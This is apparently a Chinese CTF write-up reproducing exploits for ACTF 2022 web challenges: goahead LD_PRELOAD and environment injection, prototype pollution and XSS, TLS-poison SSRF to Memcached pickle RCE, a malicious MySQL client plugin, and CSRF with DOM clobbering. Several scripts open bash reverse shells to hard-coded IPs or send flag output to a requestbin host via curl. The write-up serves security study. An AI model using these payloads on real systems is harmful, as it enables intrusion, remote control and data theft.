当前位置:网站首页>[2022 ACTF]web题目复现
[2022 ACTF]web题目复现
2022-07-07 03:48:00 【Snakin_ya】
gogogo
考点:
- goahead环境变量注入
解题:
查看dockerfile发现题目使用环境为goahead5.1.4,联想到p神对于该漏洞的复现记录,我们有两种方法解题:
- 劫持
LD_PRELOAD的动态链接库 - 利用环境变量注入RCE
法一:
hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void aaanb(void)
{
unsetenv("LD_PRELOAD");
system("touch /tmp/success");
system("/bin/bash -c 'bash -i >& /dev/tcp/1.117.171.248/39543 0>&1'");
}
编译
gcc hack.c -fPIC -s -shared -o hack.so
exp.py
import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open('hack.so','rb').read()
def upload(url):
m = MultipartEncoder(
fields = {
'file':('1.txt', hack_so,'application/octet-stream')
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def include(url):
m = MultipartEncoder(
fields = {
'LD_PRELOAD': '/proc/self/fd/7',
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def race(method):
url = 'http://1.117.171.248:10218/cgi-bin/hello'
if method == 'include':
include(url)
else:
upload(url)
def main():
task = ['upload','include'] * 1000
random.shuffle(task) #
with futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(race, task))
if __name__ == "__main__":
main()

法二:
exp.py
import requests
payload = {
"BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"),
}
r = requests.post("http:/1.117.171.248:10218/cgi-bin/hello",files=payload)
print(r.text)

poorui
简单看一下代码逻辑:
server.js
const apiGetFlag = (ws) => {
username2ws.get('flagbot').send(JSON.stringify({
api: "getflag",
from: ws2username.get(ws)
}))
}
整个题目通过websockets通信,当api为getflag时传入flagbot
const handleGetFlag = (from) => {
console.log('[getflag]', from)
if(from === 'admin'){
conn.send(JSON.stringify({
api: 'sendflag',
flag: FLAG,
to: from
}))
}
}
这里发现admin登录没有任何限制,那么我们登录admin再传入getflag即可
{"api":"login","username":"admin"}
{"api":"getflag","to":"flagbot"}

预期解:
1.lodash prototype pollution
2.image xss (many ways)
3.make the admin refresh the browser page and goto a third party site which would connect to the websocket server as a client
4.login as admin, getflag and send it to your favorite nc -lvp 1337
原型链污染:
content: {
type: 'tpl',
data: {
tpl: '<h3>{
{b}}</h3>',
ctx: '{"a":123, "b":123, "__proto__":{"allowImage":true}}'
}
}
xss:
content: {
type: 'image',
data: {
src: 'https://i.picsum.photos/id/220/200/200.jpg?hmac=1eed0JUIOlpc-iGslem_jB1FORVXUdRtOmgpHxDDKZQ',
attrs: {
wow: 1,
dangerouslySetInnerHTML: {
__html: "<img οnerrοr='location.href=`http://evil.com`' src=1>"
}
}
}
}
ToLeSion
考点:
解题:
TLS Poison 攻击通过FTPS被动模式ssrf去打Memcached,由于使用memcache存储session的话是存在反序列化的,写入session值为pickle反序列化payload。
利用陆队的工具搭建环境:
https://github.com/ZeddYu/TLS-poison
安装TLS Server
# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build
环境准备完以后需要使用一个证书创建一个转发器把11211端口的数据转发到2048端口:
target/debug/custom-tls -p 11211 --verbose --certs
/etc/nginx/ssl/ctf.edisec.net.pem --key
/etc/nginx/ssl/ctf.edisec.net.key forward 2048
然后在2048端口起一个ftp用来处理转发的流量:
import socketserver, threading,sys
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()
def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
while True:
server.handle_request()
threading.Thread(target=ftp_worker).start()
exp.py
import redis
import pickle,requests
def get_pickle_payload(cmd):
class AAA():
def __reduce__(self):
return (__import__('os').system, (cmd,))
aaa = AAA()
payload = pickle.dumps(aaa)
return payload
def parse(x):
return b'\r\n' + x + b'\r\n'
def set(key, value):
return parse(b'set %s 0 0 %d\n%s' % (key.encode(), len(value), value))
def rce():
r = requests.get(
url = 'http://localhost:10023/?url=ftps://ctf.zjusec.top:8888/'
)
print(r.text)
r = requests.get(
url = 'http://localhost:10023/?url=file:///etc/passwd',
headers={
'Cookie':'session=aaa'
}
)
print(r.text)
def local_set():
payload = get_pickle_payload('/bin/bash -c "bash -i >& /dev/tcp/150.158.58.29/7777 0>&1"')
r = redis.StrictRedis(host='localhost', port=6379, db=0)
redis_payload = set('actfSession:aaa', payload)
print(redis_payload)
r.set('payload', redis_payload)
if __name__ == "__main__":
rce()
myclient
题目源码:
<?php
$con = mysqli_init();
$key = $_GET['key'];
$value = $_GET['value'];
if(strlen($value) > 1500){
die('too long');
}
if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}
mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
if (!mysqli_real_connect($con, "127.0.0.1", "test", "test123456", "mysql")) {
$content = 'connect failed';
} else {
$content = 'connect success';
}
mysqli_close($con);
echo $content;
?>
解题:
使用
MYSQLI_INIT_COMMAND选项 +INTO DUMPFILE,写一个 evil mysql 客户端认证库到/tmp/e10adc3949ba59abbe56e057f20f883e使用
MYSQLI_INIT_COMMAND选项 +INTO DUMPFILE写入一个 Defaults 配置,其中group=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e和default-auth=<name of library file - extension>使用
MYSQLI_READ_DEFAULT_FILE选项设置为/tmp/e10adc3949ba59abbe56e057f20f883e/来加载一个恶意的配置文件,该文件将触发我们的 evil.so ,然后触发 init 函数。
RCE
evil.c
#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>
/* Ubuntu x86_64: apt install libmysqlclient-dev gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c NOTE: the plugin_name MUST BE the full name with the directory traversal!!! */
static int evil_init(char * a, size_t b , int c , va_list ds)
{
system("/readflag | curl -XPOST http://dnsdatacheck.7twx8in3gacdrrvq.b.requestbin.net/xxd -d @-");
return NULL;
}
static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
return CR_OK;
}
mysql_declare_client_plugin(AUTHENTICATION)
"auth_simple", /* plugin name */
"Author Name", /* author */
"Any-password authentication plugin", /* description */
{
1,0,0}, /* version = 1.0.0 */
"GPL", /* license type */
NULL, /* for internal use */
evil_init, /* no init function */
NULL, /* no deinit function */
NULL, /* no option-handling function */
evilplugin_client /* main function */
mysql_end_client_plugin;
编译:
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
exp.py
import requests
import random
import string
import codecs
def genName():
return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)
url = "http://1.117.171.248:10047/index.php"
shell = open("exp.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]
print(len(chunks))
prefix = genName()
for idx in range(len(chunks)):
name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
chunk = chunks[idx];
x = "0x" +codecs.encode(chunk,'hex').decode()
if idx != 0 and idx != len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
print(name)
elif idx == len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
open("name","w").write("auth_simple")
print("auth_simple")
else:
sql = f"SELECT {
x} INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
beWhatYouWannaBe
exp.html
<html>
<head>
<title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>
<body>
<iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="aaa">
<input name="csrftoken" id="csrftoken" value="1">
</form>
<script> function getToken() {
return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString()) } $("#csrftoken").attr("value", getToken()) document.getElementById("form").submit() </script>
</body>
</html>
https://portswigger.net/research/dom-clobbering-strikes-back
参考:
http://www.yongsheng.site/2022/06/30/AAActf/
https://github.com/team-s2/ACTF-2022/tree/main/web
边栏推荐
- Freeswitch dials extension number source code tracking
- Blue Bridge Cup Netizen age (violence)
- Communication of components
- 3、 High quality programming and performance tuning practical youth training camp notes
- 修改Jupyter Notebook文件路径
- Reflection (II)
- Unity C function notes
- 計算機服務中缺失MySQL服務
- Wechat applet full stack development practice Chapter 3 Introduction and use of APIs commonly used in wechat applet development -- 3.10 tabbar component (I) how to open and use the default tabbar comp
- Outsourcing for four years, abandoned
猜你喜欢

FPGA course: application scenario of jesd204b (dry goods sharing)

Flexible layout (II)

我理想的软件测试人员发展状态

Tujia, muniao, meituan... Home stay summer war will start

1090: integer power (multi instance test)

Flutter riverpod is comprehensively and deeply analyzed. Why is it officially recommended?

记一个并发规则验证实现

Robot technology innovation and practice old version outline

3、 High quality programming and performance tuning practical youth training camp notes

BGP experiment (1)
随机推荐
三、高质量编程与性能调优实战 青训营笔记
gatk4中的interval是什么??
Chinese and English instructions prosci LAG-3 recombinant protein
Tujia, muniao, meituan... Home stay summer war will start
毕设-基于SSM大学生兼职平台系统
Wechat applet full stack development practice Chapter 3 Introduction and use of APIs commonly used in wechat applet development -- 3.10 tabbar component (I) how to open and use the default tabbar comp
The annual salary of general test is 15W, and the annual salary of test and development is 30w+. What is the difference between the two?
How to * * labelimg
Invalid table alias or column reference`xxx`
js小练习----分时提醒问候、表单密码显示隐藏效果、文本框焦点事件、关闭广告
选择商品属性弹框从底部弹出动画效果
修改Jupyter Notebook文件路径
Model application of time series analysis - stock price prediction
Blue Bridge Cup Netizen age (violence)
3、 High quality programming and performance tuning practical youth training camp notes
Asynchronous components and suspend (in real development)
Circulating tumor cells - here comes abnova's solution
云备份项目
电商常规问题part1
07_ Handout on the essence and practical skills of text measurement and geometric transformation